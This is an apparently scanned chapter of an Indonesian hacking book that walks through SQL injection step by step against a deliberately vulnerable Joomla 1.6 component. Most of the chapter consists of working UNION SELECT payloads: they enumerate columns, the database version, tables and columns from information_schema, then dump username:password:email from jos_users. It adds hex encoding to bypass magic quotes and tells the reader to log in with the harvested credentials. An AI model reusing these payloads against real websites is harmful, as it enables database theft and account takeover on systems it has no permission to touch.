Step by Step SQL Injection
Step by Step SQL Injection
Dalam bab ini Anda akan melihat bagaimana aksi SQL Injection
bekerja. Apa yang dijelaskan dalam bab ini akan menjadi panduan
untuk Anda, langkah-langkah apa saja yang perlu dilakukan dalam
melakukan SQL Injection. Subbab berikutnya ditulis secara beru-
rutan, sehingga Anda bisa memahami sistem kerja SQL Injection
dengan lebih mudah. Namun, perlu Anda ketahui, setelah mempela-
jari bab ini, bukan berarti semua prosedur harus Anda ikuti semua-
nya, karena Anda bisa mencari tahu bagian mana saja yang Anda
perlukan dan bagian mana yang tidak. Misalnya, jika Anda merasa
tidak perlu melakukan pemeriksaan terhadap versi MySql, Anda bisa
saja melewatinya.
Awalnya, bab ini saya isi dengan teori penjelasan saja. Setelah saya
pikir-pikir, apabila hanya sekadar penjelasan saja, sepertinya agak
susah bagi Anda untuk memahami konsep SQL Injection yang
sebenarnya. Supaya lebih mudah dicerna, sambil Anda memahami
perintah untuk melakukan SQL Injection, akan lebih mudah di-
mengerti jika Anda mempraktikkannya.
Karena Anda bisa sekaligus belajar secara langsung. Istilahnya,
Learning by doing. Oleh karena itulah, bab ini akan saya awali
dengan membangun semacam laboratorium SQL Injection. Sehingga
Anda memiliki sebuah wadah yang bisa Anda dayagunakan untuk
mencoba berbagai syntax SQL Injection.
73
Wadah yang kita gunakan di sini adalah dengan memanfaatkan
celah keamanan pada sebuah komponen yang dipasang pada CMS
Joomla. Walau demikian, pembahasan yang ada di sini adalah
landasan atau dasar-dasar bagi Anda untuk melakukan SQL
Injection. Karena nantinya kita akan membahas mengenai SQL
Injection pada Joomla dalam bab tersendiri.
Perlu Anda ketahui, saya tidak akan menjelaskan bagaimana cara
melakukan instalasi Joomla. Silakan Anda cari sendiri informasinya
karena ada banyak buku yang membahas mengenai hal ini. Di sini
saya menggunakan Joomla versi 1.6, jika Anda ingin menginstalnya
dari localhost, Anda bisa menggunakan file yang disediakan dalam
Bonus CD buku ini.
Setelah melakukan instalasi Joomla, Anda bisa membuka tampilan
Joomla yang telah diinstal pada localhost maupun pada webhosting.
Berikut ini tampilan halaman pertama Joomla.
74
1. Pertama-tama login ke dalam halaman administrator Joomla,
yang terdapat pada: [Link]
lalu masukkan password administrator yang Anda gunakan
sewaktu instalasi.
75
Gambar 4.4 Menu Extensions
76
Gambar 4.7 Menu FAQ Book
77
Gambar 4.9 Membuat kategori
10. Apabila tidak ada masalah maka akan muncul pesan Category
successfully saved. Selain itu, Anda juga bisa melihat sebuah
kategori baru telah dibuat. Selanjutnya, klik menu FAQs.
78
Gambar 4.11 Membuat kategori berhasil
11. Dari halaman FAQs yang muncul, klik pada ikon New yang
berupa tanda tambah untuk mengisi FAQ.
12. Buatlah FAQ yang Anda inginkan. Setelah selesai, klik tombol
Save & Close.
79
13. Apabila berhasil maka akan muncul pesan Item successfully
saved. Selain itu, Anda juga bisa melihat sebuah item baru
telah dibuat.
80
Gambar 4.16 FAQ Book Index
16. Isikan Nama atau Judul untuk menu tersebut pada bagian
Menu Title. Sedangkan pada bagian Menu Location, pilih Main
Menu.
81
18. Sekarang buka halaman depan Joomla, apabila sebelumnya
Anda sudah pernah membuka halaman depan, lakukan
Refresh. Maka sebuah menu baru akan muncul dengan nama
yang Anda buat pada langkah sebelumnya.
Tes Vulnerabilitas
Salah satu hal yang seolah-olah menjadi standar dalam melakukan
aksi SQL Injection adalah melakukan tes vulnerabilitas terlebih
dahulu. Pengujian atau tes ini perlu dilakukan untuk mengetahui
apakah sebuah situs web memiliki celah keamanan atau tidak untuk
dilakukan SQL Injection.
Salah satu karakter yang sering digunakan untuk melakukan tes
vulnerabilitas adalah pemakaian karakter kutip tunggal (‘). Selain
menggunakan kutip tunggal, juga bisa menggunakan beberapa
keyword SQL tertentu.
82
Sebagai contoh, misalnya situs web target menggunakan URL seperti
berikut ini:
[Link]
83
• Error Occurred While Processing Request
• Server Error in '/' Application
• Microsoft OLE DB Provider for ODBC Drivers error
• error in your SQL syntax
• Invalid Querystring
• OLE DB Provider for ODBC
• VBScript Runtime
• [Link]
• BOF or EOF
• [Link]
• JET Database
• Syntax error
• include()
• GetArray()
• FetchRow()
• Input string was not in a correct format
• Microsoft VBScript;
Pesan error yang muncul bisa saja bervariasi, selain itu pada
beberapa kasus, kondisi error tidak hanya ditampilkan dengan kode
error saja. Ada juga yang mengubah tampilan halamannya. Sebagai
contoh, misalnya saya membuka sebuah situs web secara normal
maka akan tampil seperti berikut ini.
84
Gambar 4.19 Contoh tampilan halaman normal
85
Bisa juga menempatkan tanda kutip pada kedua bagian tersebut.
[Link]
Pada dasarnya pemakaian tanda kutip tunggal dan juga tanda minus
sudah umum. Sebenarnya, Anda juga bisa melakukan tes vulnera-
bilitas menggunakan operasi pengurangan, misalnya 2-1. Contoh
penerapannya adalah:
[Link] 2-1--
Sebagai bahan praktik untuk Anda, kita sekarang akan mulai melakukan aksi
SQL Injection pada komponen Joomla yang telah kita pasang seperti di awal
bab ini. Ikuti langkah berikut:
1. Buka halaman FAQ yang telah Anda buat, perhatikan pada bagian URL-
nya.
86
Gambar 4.22 Pesan error
87
Sebagai contoh, berikut ini diberikan sebuah parameter yang benar.
UserName=Joko%20Lelono&Address=Jawa%20Tengah
Baris berikut ini akan menghasilkan ODBC error:
UserName=Joko%20Lelono&Address=’%20OR
88
Perlu Anda ketahui juga bahwa SQL akan mengabaikan perintah
yang digunakan, apakah menggunakan huruf kapital atau tidak,
akan dianggap sama. Jadi, sewaktu Anda menggunakan perintah
‘order by’ akan dianggap sama dengan ‘ORDER BY’, maupun ‘Order
By’.
Untuk menemukan jumlah kolom dalam situs web target, kita harus
ORDER BY, sampai terjadi error. Misalnya, seperti berikut ini:
[Link] ORDER BY 1 -- (Web
tetap tampil normal)
[Link] ORDER BY 2 -- (Web
tetap tampil normal)
[Link] ORDER BY 3 -- (Web
tetap tampil normal)
[Link] ORDER BY 4 -- (Web
tetap tampil normal)
[Link] ORDER BY 5 -- (Terjadi
Error)
Sekarang kita akan melakukan latihan, untuk mencari jumlah kolom dengan
perintah order by.
Masukkan URL:
[Link] order
by 1--
Sewaktu saya menggunakan perintah order by 1-- kondisi situs web tetap
tampil normal.
89
Gambar 4.23 Halaman situs web tetap normal
90
[Link] order
by 20-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 30-- Æ Situs web menampilkan pesan error
Dengan cara di atas, kita bisa mencari pada nomor berapa error pertama kali
muncul. Dalam hal ini kondisi error berarti berada antara 21 sampai dengan
30.
Maka kita gunakan kembali perintah order by.
[Link] order
by 21-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 22-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 23-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 24-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 25-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 26-- Æ Situs web masih normal dan tidak ada pesan error
[Link] order
by 27-- Æ Situs web menampilkan pesan error
Selanjutnya apabila kita memasukkan order by 28, order by 29 dan
seterusnya akan tetap terjadi error. Yang menjadi patokan kita adalah pada
nomor berapa error untuk pertama kalinya terjadi. Oleh karena pesan error
muncul sewaktu kita menggunakan order by 27 maka diperoleh jumlah
kolom yang digunakan adalah sebanyak 26 (27-1).
91
Gambar 4.24 Pesan error tampil
92
kolom ke berapa yang memiliki celah untuk dilakukan SQL Injection.
Istilah untuk mencari kolom yang vulnerable ini dikenal juga dengan
sebutan mencari angka error, ada juga yang menyebutnya dengan
istilah angka ajaib (magic number). Untuk melakukan hal ini, kita
menggunakan perintah UNION SELECT. Namun ingat, tanda double
minus tetap digunakan pada setiap akhir perintah.
93
Sebagai contoh lain, berikut ini tampilan sebuah situs web yang
menampilkan beberapa angka error sekaligus, yaitu angka 2 dan 3.
[Link]
UNION SELECT 1,2,3,4,5,6,7,8,’SQL
Injection’9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
94
Gambar 4.27 Teks yang diketik tampil
[Link]
77 UNION SELECT
null,null,null,null,null,null,null,null,@@version,null,null,null,null,null,nul
l,null,null,null,null,null,null,null,null,null,null,null—
atau
[Link]
77 UNION SELECT
0,0,0,0,0,0,0,0,@@version,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0- -
95
Kita kembali pada pokok permasalahan, bagaimana menentukan versi SQL.
Perintah yang akan kita gunakan adalah hampir sama dengan sebelumnya.
Hanya saja kita akan menambahkan perintah @@version pada bagian angka
yang tampil, dalam hal ini angka error 9.
Misalnya, dari URL sebelumnya adalah seperti berikut ini.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,2
4,25,26--
Yang harus kita lakukan adalah mengubah angka 9 dengan @@version.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26--
Hasilnya, pada gambar di bawah ini terlihat saya menggunakan versi 5.1.41.
96
Apabila dari langkah sebelumnya Anda memperoleh beberapa angka
error maka Anda bisa menggunakan perintah @@version pada salah
satu angka. Misalnya, angka yang muncul adalah 2 dan 3 maka kita
bisa menggantikan angka 2 atau 3 lalu menyisipkan perintah
@@version pada bagian tersebut. Karena pada kedua nomor itulah
merupakan bagian yang menjadi sasaran SQL Injection. Seperti
berikut ini:
[Link] UNION SELECT
1,@@version,3,4 --
Atau:
[Link] UNION SELECT
1,2,@@version,4 --
97
Gambar 4.30 Versi MySql pada angka error 3
Dari dua gambar di atas, kita peroleh versi SQL yang digunakan
adalah 5.0.51a-24+lenny5-log, atau umum disebut dengan versi 5
saja.
Selain menggunakan perintah @@version untuk menampilkan versi
SQL, kita juga bisa menggunakan perintah version() atau
@@[Link].
Pada beberapa kasus tertentu terdapat situs web yang tidak mau
menampilkan versi SQL. Gunakanlah nilai hexadesimal, seperti
berikut ini: unhex(hex()).
98
• 5.0.91-log
• 5.0.92-community-log
Untuk tambahan informasi, perlu Anda ketahui, dari hasil versi yang
ditampilkan kita juga dapat menebak sistem operasi apa yang
digunakan. Misalnya, apabila pada tampilan versi terdapat pesan
–nt-log ataupun –log lainnya, hal ini menandakan bahwa server
tersebut menggunakan sistem operasi Windows. Namun, saat ini
terkadang hasil yang ditampilkan akan menyembunyikan teks
–nt-log tersebut. Sedangkan untuk versi lain 0ubuntu10, menanda-
kan server menggunakan sistem operasi Linux Ubuntu.
99
Gambar 4.31 Nama database terlihat
100
Gambar 4.32 Nama database
101
Hasilnya bisa Anda lihat seperti contoh gambar di bawah ini.
102
mempelajari SQL. Secara ringkas, bisa saya jelaskan sebagai berikut:
Kelompokkan "group" (GROUP_CONCAT) nama tabel (table_name) secara
bersama-sama dan ambil informasi dari (FROM) information_schema.tables
yang mana "skema tabel" (table_schema) dapat ditemukan dalam database
(database()).
Berikut ini contoh hasil perintah di atas yang menampilkan nama
tabel.
Pada gambar di atas terlihat kalau nama tabelnya tidak tampil semuanya. Hal
ini karena tempat untuk menampilkan semua nama tabel tidak mencukupi.
Untuk menampilkan semuanya, Anda bisa mengakali dengan memilih semua
area pada teks nama tabel tersebut kemudian salin dan paste pada Notepad
atau MS Word. Atau cara yang lebih cepat dan gampang, Anda blok semua
bagian dalam tampilan situs web tersebut menggunakan perintah Ctrl+A
pada keyboard lalu paste atau tempel pada MS Word.
Berikut contoh hasil paste pada MS Word, terlihat nama tabel-tabelnya pada
bagian yang saya beri tanda kotak.
103
Gambar 4.35 Menyalin nama tabel dalam MS Word
104
Gambar 4.36 Nama tabel pertama
Fungsi syntax di atas untuk menampilkan hanya tabel yang pertama saja.
Terlihat pada gambar di atas diperoleh informasi bahwa kolom pertama,
bernama jos_assets. Dengan perintah yang dimodifikasi tersebut, apabila kita
kehabisan karakter, katakanlah pada tabel ke-21 kita bisa menggunakan
perintah:
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26 FROM information_schema.tables WHERE
table_schema=database() LIMIT 20,1--
Seperti yang saya contohkan di atas kita akan mencari nama tabel 21, tapi
pada query-nya kita menuliskan 20,1 bukan 21,1. Hal ini karena perhi-
tungannya dimulai dari 0 bukan dari 1. Sehingga untuk mencari tabel
lainnya, misalnya 50 maka kita memasukkan query 49,1.
Sekarang saya akan menampilkan nama kolom yang saya peroleh dengan
perintah GROUP_CONCAT.
jos_assets,jos_banner_clients,jos_banner_tracks,jos_banners,jos_categories,j
os_contact_details,jos_content,jos_content_frontpage,jos_content_rating,jos_
105
core_log_searches,jos_extensions,jos_faqbook_items,jos_gbufacebook_faces
,jos_languages,jos_menu,jos_menu_types,jos_messages,jos_messages_cfg,jo
s_modules,jos_modules_menu,jos_newsfeeds,jos_p
Tabel yang pertama adalah jos_assets. Sehingga pemakaian LIMIT 0,1
adalah benar.
Sekarang kita coba memasukkan nilai LIMIT 1,1 untuk mencocokkan
dengan nama tabel ke-2.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26 FROM information_schema.tables WHERE table_schema=database()
LIMIT 1,1- -
Hasilnya adalah jos_banner_clients; juga sesuai dengan perintah
GROUP_CONCAT.
Sekarang perhatikan pada nama tabel yang ke-22. Di sana, nama tabelnya
dalam kondisi terpotong, yang muncul hanyalah teks jos_p.
Oleh karena itu, kita perlu mencari tahu apa nama tabel ke-21 tersebut,
dengan perintah:
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26 FROM information_schema.tables WHERE table_schema=database()
LIMIT 21,1- -
Ternyata nama tabelnya adalah: jos_peliculas_config.
106
Gambar 4.38 Nama tabel ke-22
Dengan cara yang sama pula Anda bisa mencari nama-nama untuk tabel
lainnya, seperti nama tabel ke-22, ke-23 dan seterusnya.
107
Dalam kasus kita ini, tabel yang bermanfaat adalah jos_users mengandung
informasi penting di dalamnya.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26 FROM information_schema.columns WHERE
table_name=”jos_users”--
Apabila dengan perintah di atas, tidak menampilkan nama kolom, gantilah
tanda kutip dua pada bagian “nama_tabel” dengan kutip tunggal. Sehingga
URL-nya menjadi:
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,
20,21,22,23,24,25,26 FROM information_schema.columns WHERE
table_name=’jos_users’--
Hasilnya akan menampilkan daftar nama-nama semua kolom yang digunakan
pada tabel ‘jos_users’.
108
Walaupun di dalamnya ada banyak nama kolom lain, namun di sini kita telah
menemukan nama kolom yang menjadi incaran kita, yaitu username dan
password.
Dari hasil yang ditampilkan seperti di atas, terlihat nama-nama kolom yang
dipakai, antara lain id, name, username, email, password, usertype, block,
sendEmail, registerDate, lastvisitDate, activation, params.
Pada beberapa kasus yang terjadi adalah munculnya pesan error atau
halaman situs web tidak menampilkan hasil apa pun. Hal ini terjadi karena
sang pemilik situs web tersebut mengaktifkan fungsi Magic Quotes untuk
mengamankan situs web miliknya. Kasus seperti ini dapat dilewati dengan
menggunakan kode hexa atau konverter hexa untuk mengubah teks biasa ke
char atau hex.
Sebagai contoh kasus kita di atas, maka kita perlu mengubah nama tabel
jos_users menjadi karakter hexa, Anda bisa menggunakan bantuan dari:
• [Link]
• [Link]
• [Link]
Sebagai contoh di sini kita akan menggunakan bantuan dari
[Link]
Dari situs web tersebut, masukkanlah teks yang ingin Anda ubah menjadi
kode hexa. Dalam hal ini kita memasukkan login lalu klik tombol Encode
dan tunggu proses encoding dilakukan.
Kemudian perhatikan pada kotak Hexadecimal, itulah kode yang kita
butuhkan.
109
Gambar 4.40 [Link]
Dari gambar di atas, terlihat bahwa kode hexa untuk kata jos_users adalah 6a
6f 73 5f 75 73 65 72 73.
Satukan kode hexa tersebut untuk menghilangkan pembatas atau spasi,
menjadi 6a6f735f7573657273.
Setelah kita memperoleh kode hexa untuk kata jos_users, tambahkan
karakter 0x di depannya, sehingga menjadi: 0x6a6f735f7573657273.
Kemudian, barulah kita memasukkannya pada URL.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,
20,21,22,23,24,25,26 FROM information_schema.columns WHERE
table_name=0x6a6f735f7573657273—
110
Anda ketahui pada penjelasan sebelumnya juga bisa diterapkan
untuk mencari nama kolom dengan aturan pemakaian yang sama.
Sebagai contoh, dari hasil nama kolom yang ditampilkan pada
bagian sebelumnya, saya ingin mencari tahu apa nama kolom
setelah Password.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,column_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26 FROM information_schema.columns WHERE
table_name=”jos_users” LIMIT 5,1--
111
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(username,0x3a,password,0x3a,email),10,11,
12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 FROM joomlaku.jos_users--
Karakter 0x3a adalah nilai hexa untuk tanda titik dua (:). Sehingga hasilnya
akan dikelompokkan menjadi seperti ini: username:password:email.
Berikut ini contoh tampilan yang kita hasilkan.
112
Untuk menampilkan dan melihat semua hasilnya, Anda bisa mela-
kukan copy-paste pada MS Word sama seperti langkah sebelumnya.
Apabila Anda beruntung maka Anda bisa melihat password dalam
bentuk plain text. Selain itu, Anda juga akan melihat password yang
telah diacak, seperti halnya pada gambar di atas. Untuk password
yang diacak ini akan kita bahas dalam bab tersendiri cara mem-
bongkarnya.
Dan yang terakhir setelah Anda menemukan username dan
password adalah Anda mencari halaman untuk melakukan login.
Kemudian masuk menggunakan username dan password yang telah
Anda dapatkan tersebut.
URL di atas juga bisa kita ganti menggunakan concat_ws dengan menem-
patkan kode hexa pada bagian depan.
[Link]
UNION SELECT
1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password,email),10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26 FROM joomlaku.jos_users--
113
Gambar 4.43 Password admin
114
Trik Khusus Tabel dan Kolom
Berikut ini sebuah trik di mana kita bisa menampilkan beberapa tabel
dan kolom sekaligus. Perintah yang digunakan adalah:
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM
(information_schema.columns) WHERE (table_schema>=@) AND
(@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' >
',column_name))))x
115
Perintah lain yang bisa digunakan untuk hal yang sama adalah:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY
(SELECT version FROM information_schema.tables) SEPARATOR
0x3c62723e),1,1024) FROM information_schema.columns
116
Gambar 4.45 Mencari kolom username dalam beberap tabel
Sebagai contoh lain, misalnya kita akan mencari sebuah tabel yang
berisikan kata ‘user’ di dalamnya. Perintah yang digunakan adalah:
SELECT table_name FROM information_schema.columns WHERE
column_name LIKE '%user%';
117
Gambar 4.46 Mencari tabel yang mengandung kata user
URL-nya adalah:
[Link]
77 UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26 FROM information_schema.columns
WHERE table_name LIKE '%user%'--
118
Gambar 4.47 Mencari kolom yang mengandung kata user
119
Gambar 4.48 Username MySql
120
Kini kita akan mencari tahu aplikasi apa yang digunakan dalam
manajemen database.
[Link]
77 UNION SELECT
1,2,3,4,5,6,7,8,(db),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26 FROM [Link]--
Atau:
[Link]
77 UNION SELECT
1,2,3,4,5,6,7,8,concat(db),10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26 FROM [Link]--
Hasilnya menampilkan bahwa aplikasi database-nya adalah
phpMyAdmin.
121
Gambar 4.51 Nama server
Terakhir, kita akan mencari tahu di mana direktori data atau tempat
file database disimpan. Gunakan perintah @@DATADIR atau
DATADIR().
[Link]
77 UNION SELECT
1,2,3,4,5,6,7,8,@@datadir,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26 FROM [Link]--
Dari gambar di bawah ini terlihat bahwa data direktori berada pada
C:\xampp\mysql\data
122
Gambar 4.52 Direktori data
Serta masih banyak lagi yang bisa digunakan, hanya saja kita akan
berfokus untuk SQL Injection saja. Beberapa perintah lain yang bisa
Anda gunakan, seperti @@language untuk mengetahui bahasa yang
digunakan, last_insert_id() dan connection_id().
Sebagai penutup untuk bab ini, perlu saya sampaikan bahwa dalam
urutan prosedur untuk melakukan SQL Injection ini, tidak semuanya
perlu Anda lakukan secara berurut dari awal, misalnya Anda bisa
saja melewati step melihat versi SQL atau mencari tahu nama
database. Anda bisa saja melewati beberapa step jika diperlukan.
Selain itu, kode perintah yang diberikan di atas adalah kode standar
dalam kenyataannya akan ada sedikit modifikasi tergantung dari
kasus yang dihadapi, salah satunya adalah pemakaian karakter
enkode. Walau demikian, setidaknya dengan adanya penjelasan
prosedur untuk melakukan SQL Injection ini, akan membantu Anda
untuk mengetahui apa saja tindakan yang perlu dilakukan dalam
melakukan aksi hacking dengan SQL Injection.
i
123